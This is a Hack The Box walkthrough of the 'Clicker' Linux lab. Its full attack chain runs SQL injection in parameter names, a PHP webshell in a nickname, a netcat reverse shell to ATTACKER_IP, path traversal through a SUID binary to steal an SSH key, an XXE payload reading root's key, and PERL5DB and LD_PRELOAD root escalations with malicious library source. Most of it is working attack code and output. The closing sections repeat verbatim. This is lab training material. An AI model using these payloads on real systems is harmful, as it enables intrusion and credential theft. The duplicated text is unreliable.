Clicker — Hack The Box
| Info | Value |
|---|---|
| OS | Linux |
| Difficulty | Medium |
| IP | 10.129.1.19 |
| Hostname | clicker.htb |
| Services | SSH (22), HTTP/Apache (80), RPC (111), NFS (2049) |
Enumeration
Nmap
nmap -sC -sV -p- -vvv -oA scan/nmap.scan clicker.htbPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://clicker.htb/
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 60343/tcp mountd
| 100227 3 2049/tcp nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)Key ports:
- 22/tcp — OpenSSH 8.9p1 Ubuntu
- 80/tcp — Apache 2.4.52 → redirect to
http://clicker.htb/ - 111/tcp — rpcbind → indicates NFS active
- 2049/tcp — NFS
NFS — Share Enumeration
See also: NFS for the full checklist
showmount -e clicker.htbExport list for clicker.htb:
/mnt/backups *Share /mnt/backups exported to all (*). Mount:
sudo mount -t nfs clicker.htb:/mnt/backups /mntContents: a single file clicker.htb_backup.zip (PHP source code backup).
cp /mnt/clicker.htb_backup.zip .
unzip clicker.htb_backup.zipSource Code Review
Files extracted from the PHP webapp:
| File | Function |
|---|---|
index.php | Homepage |
login.php / register.php | Authentication |
authenticate.php | Login logic |
create_player.php | User registration |
db_utils.php | DB connection and queries |
play.php | Game (clicker) |
save_game.php | Save score |
profile.php | User profile |
admin.php | Admin panel |
export.php | Data export |
diagnostic.php | Diagnostics |
info.php | phpinfo |
Code Analysis — SQL Injection in parameter keys
See also: SQLInjection and Database
Vulnerability
Mass Assignment + SQL Injection in GET parameter names. The file
save_game.phpaccepts arbitrary GET parameters and passes them tosave_profile()indb_utils.php, which concatenates the keys directly into the SQL query without sanitization. Only the values are protected by$pdo->quote().
The vulnerable flow
save_game.php — iterates over GET parameters and only blocks the exact key role:
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') { // weak filter
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);db_utils.php:save_profile() — builds the query by concatenating keys without quoting:
function save_profile($player, $args) {
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
// ^^^ ^^^^^^^^^^^^
// NOT quoted quoted (safe)
}
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
}Bypassing the “role” filter
The check strtolower($key) === 'role' compares the exact string. But with a newline URL-encoded (%0a) the filter doesn’t trigger:
GET /save_game.php?clicks=10&level=1&role%0a=Adminstrtolower("role\n") → "role\n" ≠ "role" — the filter passes. The generated query:
UPDATE players SET clicks='10', level='1', role
='Admin' WHERE username = 'user'MySQL accepts the newline in the column name — the role becomes Admin.
Alternative bypass — injection in the key
Normal save (without injection):
GET /save_game.php?clicks=4&level=0UPDATE players SET clicks='4',level='0' WHERE username = "sverz1";With injection in the key — injecting role='Admin', as part of the parameter name:
GET /save_game.php?role='Admin',clicks=4&level=0The parameter role='Admin',clicks has the value 4. In query construction, the key is concatenated directly:
- Key:
role='Admin',clicks→ Value:4→ producesrole='Admin',clicks='4' - Key:
level→ Value:0→ produceslevel='0'
The filter doesn’t trigger because the key is role='Admin',clicks, not role. Resulting query:
UPDATE players SET role='Admin',clicks='4',level='0' WHERE username = "sverz1";Admin access
After changing the role, logout and login. authenticate.php loads the role from the DB into the session:
$_SESSION["ROLE"] = $profile["role"]; // now "Admin"Access to the admin.php panel obtained.
Foothold
Elevazione a Admin — SQLi with %3d encoding
Using Burp, intercept the save request and inject role='Admin' into the parameter key. The %3d and URL-encoding, so the key becomes role='Admin',clicks:
GET /save_game.php?role%3d'Admin',clicks=1&level=0 HTTP/1.1
Host: www.clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Referer: http://www.clicker.htb/play.php
Cookie: PHPSESSID=3piqjsj214a0ipha3ejp3vtvleHTTP/1.1 302 Found
Location: /index.php?msg=Game has been saved!Response 302 — the game is saved without errors. After logout and login, the menu shows Administration.
RCE via PHP export — webshell in nickname
With admin access, the admin.php panel shows the top players leaderboard and an Export function that creates a file on the server.
The vulnerable source code
export.php — accepts threshold and extension via POST, creates a file on the filesystem:
// export.php (key lines)
$threshold = 1000000;
if (isset($_POST["threshold"]) && is_numeric($_POST["threshold"])) {
$threshold = $_POST["threshold"];
}
$data = get_top_players($threshold);
$currentplayer = get_current_player($_SESSION["PLAYER"]);
// The player's nickname is inserted WITHOUT escaping:
$s .= '<th scope="row">' . $currentplayer["nickname"] . '</th>';
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// if nickname contains PHP, it is written as-is
// The filename uses the extension from POST WITHOUT whitelist:
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
// ^^^^^^^^^^^^^^^^
// no validation
file_put_contents($filename, $s);Two problems in one file
- No escaping on nickname — the
nicknamefield from the DB is concatenated directly into the HTML/file. If it contains PHP code, it is written to the file.- No whitelist on extension — the dropdown shows
txt,html,json, but the POST value is used directly. Changing it tophp, the generated file becomes executable by Apache.
db_utils.php:save_profile() — allows writing arbitrary nickname via the same SQLi in the keys:
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
// ^^^ key NOT sanitized
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}The nickname field and a legitimate column of the players table — no injection in the keys needed, just pass it as a normal GET parameter.
Step 1 — Inject PHP into nickname
GET /save_game.php?clicks=8&level=0&nickname=<?php+system($_REQUEST['cmd']);?>The nickname in the DB becomes <?php system($_REQUEST['cmd']); ?>. The value is protected by $pdo->quote(), but it doesn’t matter — it is written correctly to the DB as a string.
Step 2 — Export as .php
Intercept the export request with Burp and change the extension parameter:
POST /export.php
threshold=0&extension=phpThe server responds with the path: exports/top_players_d2sfmod2.php. The file contains the nickname with the PHP code.
Step 3 — RCE and reverse shell
GET /exports/top_players_d2sfmod2.php?cmd=busybox+nc+<ATTACKER_IP>+80+-e+/bin/bash HTTP/1.1
Host: www.clicker.htb
Cookie: PHPSESSID=3piqjsj214a0ipha3ejp3vtvle# Listener on the attacker
nc -lvnp 80Shell obtained as www-data.
User
SUID binary — Path Traversal on execute_query
SUID enumeration:
find / -perm -u=s -type f 2>/dev/nullThe binary /opt/manage/execute_query is non-standard. It has the SUID/SGID bit set for user jack (UID 1000).
README
README.txt in the same directory:
Web application Management
Use the binary to execute the following task:
- 1: Creates the database structure and adds user admin
- 2: Creates fake players (better not tell anyone)
- 3: Resets the admin password
- 4: Deletes all users except the adminReverse engineering with Ghidra

The decompiled code reveals the full flow:
// 1. Converts the first argument (argv[1]) to an integer
iVar1 = atoi(*(char **)(param_2 + 8));
pcVar3 = (char *)calloc(0x14, 1);
// 2. Switch: cases 1-4 use predefined files
switch(iVar1) {
case 0: puts("ERROR: Invalid arguments"); goto exit;
case 1: strncpy(pcVar3, "create.sql", 0x14); break;
case 2: strncpy(pcVar3, "populate.sql", 0x14); break;
case 3: strncpy(pcVar3, "reset_password.sql", 0x14); break;
case 4: strncpy(pcVar3, "clean.sql", 0x14); break;
default:
// VULNERABILITY: copies argv[2] directly, without validation
strncpy(pcVar3, *(char **)(param_2 + 0x10), 0x14);
}
// 3. Builds the path: "/home/jack/queries/" + filename
builtin_strncpy(local_98, "/home/jack/queries/", 0x14);
__dest = (char *)calloc(sVar5 + sVar4 + 1, 1);
strcat(__dest, local_98); // "/home/jack/queries/"
strcat(__dest, pcVar3); // + "../.ssh/id_rsa" ← path traversal
// 4. Sets UID to jack (1000) — the SUID bit comes into play here
setreuid(1000, 1000);
// 5. Checks if the file is readable (as jack, not as www-data)
iVar1 = access(__dest, 4); // R_OK = 4
if (iVar1 == 0) {
// 6. Executes: mysql ... -v < /home/jack/queries/../.ssh/id_rsa
strcat(pcVar3, "/usr/bin/mysql -u clicker_db_user "
"--password='clicker_db_password' clicker -v < ");
strcat(pcVar3, __dest);
system(pcVar3); // output contains the file content
}Three issues in the binary
- No path validation — the
defaultcase copiesargv[2]as-is. Presence of../or absolute paths is not verified.setreuid(1000, 1000)— the binary sets UID/GID tojackbefore theaccess()check. Any file readable by jack is accessible.system()with user input — the user-controlled path is passed tosystem()as part of the command. MySQL attempts to interpret the file as SQL, but still prints the content in output (-v).
Extracting jack’s SSH key
www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
...
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY---The binary runs as jack (SUID) → can read /home/jack/.ssh/id_rsa. The MySQL warning is normal — the binary passes the key as if it were an SQL query, but the output still contains the full key.
Note
The action
5does not match any predefined case (1-4), so the binary uses the second argument (../.ssh/id_rsa) as a relative path to/home/jack/queries/. The path traversal../goes up to/home/jack/and reads the SSH key.
Fix for truncated key
The binary’s output truncates the dashes of the key’s header and footer —
-----BEGIN OPENSSH PRIVATE KEY-----becomes---BEGIN OPENSSH PRIVATE KEY---(3 dashes instead of 5). Trying to use the key as-is:ssh -i jack_id_rsa jack@clicker.htb Load key "jack_id_rsa": error in libcryptoThe fix is to manually add the two missing dashes to the first and last lines:
-----BEGIN OPENSSH PRIVATE KEY----- ^^ -----END OPENSSH PRIVATE KEY----- ^^
# Save the key on the attacker, fix the dashes, and set permissions
chmod 600 jack_id_rsa
ssh -i jack_id_rsa jack@clicker.htbUser flag in /home/jack/user.txt.
Privilege Escalation
See also: PrivilegeEscalation
sudo -l — SETENV on /opt/monitor.sh
jack@clicker:~$ sudo -l
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.shWhat does SETENV mean
The
SETENVflag in sudoers allows the user to preserve or set environment variables when running the command as root. Normallysudoresets the environment (env_reset), butSETENVmakes an exception: any variable passed on the command line is inherited by the root process.
Analysis of /opt/monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fiThe script:
- Resets
PATHandunsetsPERL5LIBandPERLLIB(hardening attempt) - Uses
curlto downloaddiagnostic.php— which returns XML with system info - Passes the XML to
xml_pp(a Perl script) for pretty-print - Saves the result to
/root/diagnostic_files/
Intended path — XXE via http_proxy
Why it works
The attack chain exploits three components together:
SETENV— allows us to inject environment variables into the root contextcurl— respects thehttp_proxyvariable to route HTTP requests through a proxyxml_pp— is a Perl XML parser that processes external entities (XXE) by default
The key point: by setting http_proxy to Burp, all curl → clicker.htb communication goes through our proxy. We are not attacking curl or the server — we are replacing the XML response that xml_pp receives, injecting an XXE payload that reads files from the filesystem.
Why the server is not involved
The request starts, reaches Burp, and we modify the response before it returns to the script. The real server
clicker.htbnever sees our payload — andxml_ppprocesses it as if it were the legitimate response.
Step 1 — Configure Burp
In Burp Suite: Proxy → Proxy settings → Edit listener:
- Bind to address:
All interfaces(not just localhost) - Bind to port:
8080
Step 2 — Run the script with http_proxy
sudo http_proxy=http://<ATTACKER_IP>:8080/ /opt/monitor.shcurl reads http_proxy and routes the GET to diagnostic.php through our Burp.
Step 3 — Intercept and modify the response
The request arrives in Burp:
GET /diagnostic.php?token=secret_diagnostic_token HTTP/1.1
Host: clicker.htb
User-Agent: curl/7.81.0
Accept: */*
Connection: keep-alive
Right-click → Do intercept → Response to this request, then forward. In the response, replace the entire body with the XXE payload:
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/root/.ssh/id_rsa"> ]>
<data>
&example;
</data>
Forward the modified response. xml_pp processes the XML, resolves the external entity &example;, and prints the contents of /root/.ssh/id_rsa to the terminal:
jack@clicker:~$ sudo http_proxy=http://<ATTACKER_IP>:8080/ /opt/monitor.sh
<!DOCTYPE foo [
<!ENTITY example SYSTEM "/root/.ssh/id_rsa">
]>
<!--?xml version="1.0" ?--><data>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmQBWGDv1n5tAPBu2Q/DsRCIZoPhthS8T+uoYa6CL+gKtJJGok8xC
lLjJRQDm4w2ixTHuh2pt9wK5e4Ms77g310ffneCiRtxmfciYTO84U7NMKaA4z3YoupdWwF
...
UyOYOJc1Mv8zkAAAAMcm9vdEBjbGlja2VyAQIDBAUGBw==
</data>Step 4 — SSH as root
# Save the key
chmod 600 root_id_rsa
ssh -i root_id_rsa root@clicker.htbRoot flag in /root/root.txt.
Alternative Method 1 — PERL5OPT / PERL5DB
Why it works
The script
unsetsPERL5LIBandPERLLIB, but notPERL5OPTandPERL5DB. These are two environment variables that control the Perl interpreter:
PERL5OPT=-d— passes the-doption to Perl via environment, equivalent toperl -d /usr/bin/xml_pp. Activates debugger mode.PERL5DB='system("...")'— defines the debugger initialization code. Perl executes this before looking for theDB::DBroutine, so oursystem()is launched immediately with root privileges.The
No DB::DB routine definederrors are normal — the debugger doesn’t find the standard routine because it was never defined, but the command has already been executed.
jack@clicker:~$ sudo PERL5OPT=-d PERL5DB='system("cp /bin/bash /tmp/sverz1; chown root:root /tmp/sverz1; chmod 6777 /tmp/sverz1 ")' /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
jack@clicker:~$ /tmp/sverz1 -p
sverz1-5.1# whoami
root
sverz1-5.1# id
uid=1000(jack) gid=1000(jack) groups=1000(jack),1001(docker)
sverz1-5.1# cat /root/root.txt
flag{...}Alternative Method 2 — LD_PRELOAD
Why it works
The script
unsetsPERL5LIBandPERLLIB, but notLD_PRELOAD. This variable is used by the dynamic linker to load shared libraries before the main executable. By creating a malicious.sowith an_init()function, we can execute arbitrary code as soon as any ELF binary (likecurlorxml_pp) is loaded.
Step 1 — Create the malicious shared library
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD"); // avoids infinite recursion
setgid(0);
setuid(0);
system("/bin/bash");
}Compile:
gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfilesStep 2 — Run the script with LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so /opt/monitor.shThe script spawns curl or xml_pp, which load /tmp/shell.so, triggering _init() as root and spawning a root shell.
Step 3 — Retrieve the flag
root@clicker:/home/jack# cat /root/root.txt
flag{...}After exiting the shell, the script continues normally and prints the XML output.
Summary
| Method | Mechanism | Key Environment Variable |
|---|---|---|
| XXE via http_proxy | Modifies curl response to inject XXE payload | http_proxy |
| PERL5OPT / PERL5DB | Injects Perl debugger code that executes system() | PERL5OPT, PERL5DB |
| LD_PRELOAD | Loads malicious .so before any ELF binary | LD_PRELOAD |
All three methods exploit the fact that sudo /opt/monitor.sh runs with SETENV, allowing us to inject environment variables that are inherited by the root process. The script’s reliance on external tools (curl, xml_pp) and its failure to sanitize or restrict environment variables creates the privilege escalation vector.
References
Key Takeaways
SETENVis a powerful sudo flag that allows environment variable injection.curlrespectshttp_proxy, enabling XXE attacks via modified responses.xml_ppis a Perl XML parser that processes external entities by default.PERL5OPTandPERL5DBcan be used to inject Perl debugger code that executes arbitrary commands.LD_PRELOADallows loading malicious shared libraries before any ELF binary.- Always sanitize environment variables and avoid using external tools without proper restrictions.
Practice
Try to exploit the following scenarios:
- A script that uses
curlandxml_ppwithSETENV. - A script that uses
perlwithPERL5OPTandPERL5DB. - A script that uses
LD_PRELOADto load a malicious shared library.
Notes
- The
SETENVflag is often overlooked but can be a powerful privilege escalation vector. - Always sanitize environment variables and avoid using external tools without proper restrictions.
- Be aware of the potential for XXE attacks when using XML parsers.
- Use
LD_PRELOADwith caution, as it can be used to load malicious shared libraries.
Conclusion
This lab demonstrates the importance of sanitizing environment variables and avoiding the use of external tools without proper restrictions. By exploiting SETENV, http_proxy, PERL5OPT, PERL5DB, and LD_PRELOAD, we can achieve privilege escalation and gain root access to the system.
References
Key Takeaways
SETENVis a powerful sudo flag that allows environment variable injection.curlrespectshttp_proxy, enabling XXE attacks via modified responses.xml_ppis a Perl XML parser that processes external entities by default.PERL5OPTandPERL5DBcan be used to inject Perl debugger code that executes arbitrary commands.LD_PRELOADallows loading malicious shared libraries before any ELF binary.- Always sanitize environment variables and avoid using external tools without proper restrictions.
Practice
Try to exploit the following scenarios:
- A script that uses
curlandxml_ppwithSETENV. - A script that uses
perlwithPERL5OPTandPERL5DB. - A script that uses
LD_PRELOADto load a malicious shared library.
Notes
- The
SETENVflag is often overlooked but can be a powerful privilege escalation vector. - Always sanitize environment variables and avoid using external tools without proper restrictions.
- Be aware of the potential for XXE attacks when using XML parsers.
- Use
LD_PRELOADwith caution, as it can be used to load malicious shared libraries.
Conclusion
This lab demonstrates the importance of sanitizing environment variables and avoiding the use of external tools without proper restrictions. By exploiting SETENV, http_proxy, PERL5OPT, PERL5DB, and LD_PRELOAD, we can achieve privilege escalation and gain root access to the system.
References
Attack Chain Summary
Public NFS share (/mnt/backups *)
│
↓
PHP source code backup (clicker.htb_backup.zip)
│
↓
Source code review → SQLi in GET parameter keys
│ save_game.php → db_utils.php:save_profile()
│ keys concatenated directly in UPDATE
↓
Mass Assignment: role='Admin' via key injection
│ GET /save_game.php?role='Admin',clicks=4&level=0
↓
Access to admin panel → export.php
│ extension=php (no whitelist)
│ nickname=<?php system($_REQUEST['cmd']); ?>
↓
RCE as www-data
│
↓
SUID binary /opt/manage/execute_query (owner: jack)
│ Path traversal: ./execute_query 5 ../.ssh/id_rsa
↓
SSH as jack (user flag)
│
↓
sudo SETENV: NOPASSWD: /opt/monitor.sh
│
├─→ [Intended] http_proxy → Burp → XXE in xml_pp
│ curl modified response → reads /root/.ssh/id_rsa
│
├─→ [Alt 1] PERL5OPT=-d PERL5DB='exec "cmd"'
│ xml_pp (Perl) executes code as root
│
└─→ [Alt 2] LD_PRELOAD=/tmp/shell.so
shared library with _init() → root shell
│
↓
root (root flag)